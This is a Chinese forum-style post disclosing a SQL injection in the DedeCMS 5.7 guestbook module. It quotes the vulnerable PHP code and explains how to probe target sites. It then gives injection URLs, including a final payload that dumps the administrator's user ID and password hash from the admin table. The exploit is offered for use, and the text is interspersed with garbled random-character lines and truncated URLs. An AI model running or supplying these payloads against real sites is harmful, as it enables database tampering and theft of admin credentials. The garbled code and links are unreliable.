dedecms5.7最新sql注射漏洞利用 guestbook.php

admin

影响版本为5.7
1 j- _+ ?, X' V
& `9 b, {1 I  \* q$ @2 V漏洞文件edit.inc.php具体代码：

< ?php  

. f" q: g- }8 s9 \9 \, Z  ~5 o" E9 v; Aif(!defined('DEDEINC')) exit('Request Error!');  

& y: z" Z0 T) a# U% @9 p$ C   

if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  
' Q3 m2 V/ O  D* Y: I
! |$ J7 c4 \$ \8 n  belse $GUEST_BOOK_POS = "guestbook.php";  

2 b5 a, G# ?/ r# D& T4 m4 G! d   

$id = intval($id);  

if(empty($job)) $job='view';  

4 ?! G( P, z; c' W' h   

if($job=='del' && $g_isadmin)  

{  
) C1 R; n+ H$ K/ }
$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  
) g# u  U. `0 X- i5 G
ShowMsg("成功删除一条留言！", $GUEST_BOOK_POS);  
1 V: o) q. K: O7 b: N( Q
exit();  

}  

% |# y# H0 D1 ]# B5 _else if($job=='check' && $g_isadmin)  

, ?2 K( w: m& K; L6 f3 Y5 K  D{  
; F) M( z$ U. f9 P9 y
$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  

. d0 L0 A1 J! }' b1 YShowMsg("成功审核一条留言！", $GUEST_BOOK_POS);  

  j" F) y/ x; |' v. x& @exit();  
# i: m" [9 F4 p! V& T2 i1 e
/ @/ r. k0 i9 I" V) ^. U}  

else if($job=='editok')  
! {. t& B3 t4 m& U6 `. e2 ~1 z
{  

2 k6 \2 P; v4 p) j+ b' K$remsg = trim($remsg);  
6 X+ ~; S3 m/ b# u7 O
& I) ]" v- e; N" xif($remsg!='')  

9 M# ?; z: @( T, u5 G! S, R# X! N{  
5 o/ g: u/ A0 O/ V  Y- J
2 [8 n' j6 O" k3 G//管理员回复不过滤HTML By:Errorera blog:errs.cc  
/ I) \- d" l3 h3 o& H( E
1 f. K1 y3 T; `. ~if($g_isadmin)  

{  

$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  

: I1 h* B" [. Z1 B//$remsg <br /><font color=red>管理员回复：</font> }  

( U( j0 d+ ~, K; u  \else

6 O! [: p: U) O$ U{  

7 W3 ?! N$ i  }1 a# F- k$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  
) v3 S3 o2 a! N5 a' A" K
$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  
6 s& J& ]: O% E* h  ]3 s
) L% q+ u$ [! {0 w# R  E0 L1 U, F$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  

, N$ a* Q: x& c/ ?. r2 l' d% I8 g! \$msg = $oldmsg.$remsg;  
/ z: ^6 ]  g  f4 P/ [; R* S
}  
9 z7 D) r1 g/ I/ F% M7 C
}  
# i, e5 j+ N2 D& W" G+ L3 H. O
1 l) H. i1 K/ |4 D$ j0 f7 W( Z//这里没有对$msg过滤，导致可以任意注入了By:Errorera home:www.errs.cc  
  M2 Z( `8 Y+ L6 C( y1 i3 e
3 S6 r2 [( b" L7 V/ ]: P# b$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  
2 F0 Q4 L7 A" q! t# K# ~9 {
ShowMsg("成功更改或回复一条留言！", $GUEST_BOOK_POS);  

exit();  
* y# {# j* x! Z! G- l
}  
) W. d1 w: d  e
) D7 `. r. T) W" m! A' |) P//home:www.errs.cc  
/ g+ j* `+ ?9 J7 A7 @: D
& E4 G' ~( k6 m) ?if($g_isadmin)  
- J1 E/ A. b: N5 P1 \8 L2 L
  M  P5 d9 u  H& Q{  
  n  T9 L0 P5 E  e
$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  
2 B6 L1 `1 k  ?- O
require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  

}  

1 h, P/ }: \0 |. Z4 J. _else
' E  B* a) Y; S, @
. @  {6 o  t. ~  `4 X! @{  

$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  
( n$ G; ]- [, l" w  [! i
7 I& g2 [8 a* g, f2 n& v2 D+ |require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  

} 漏洞成功需要条件：
1. php magic_quotes_gpc=off
" W/ h- e) i/ C2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。

) x# C( U% \3 k& F怎么判断是否存在漏洞：
, b( c7 S- o- r0 L% j先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言，
: H  w8 ~2 Z. d% Z$ ^5 N然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
访问：
2 c2 v: m9 U& |7 m% l( a! }0 _
( n. u+ F/ T! Y: W  l0 f$ ewww.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
" L  m2 d, c5 W7 }/ J跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证
6 E% e9 P3 w8 g
6 v; n4 r  P0 ~. t6 P
明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
如果没有修改成功，那留言ID的内容还是以前的 那就证明漏洞可以利用。
" C6 m/ T0 l9 v那么再次访问
+ ^& A8 R! M8 w0 ~# u1 Q. K( a
www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回，那条留言ID的内容就直接修改成了mysql 的user().
$ D# Z' Q" g2 n  Q
9 y8 _" h6 [. e/ Z$ J3 h7 M大概利用就是这样，大家有兴趣的多研究下！！

' v& E" d3 i4 p; J+ h* E  Y最后补充下，估计有人会说怎么暴管理后台帐户密码，你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)！！

, O2 M+ k; s9 c  Qview sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='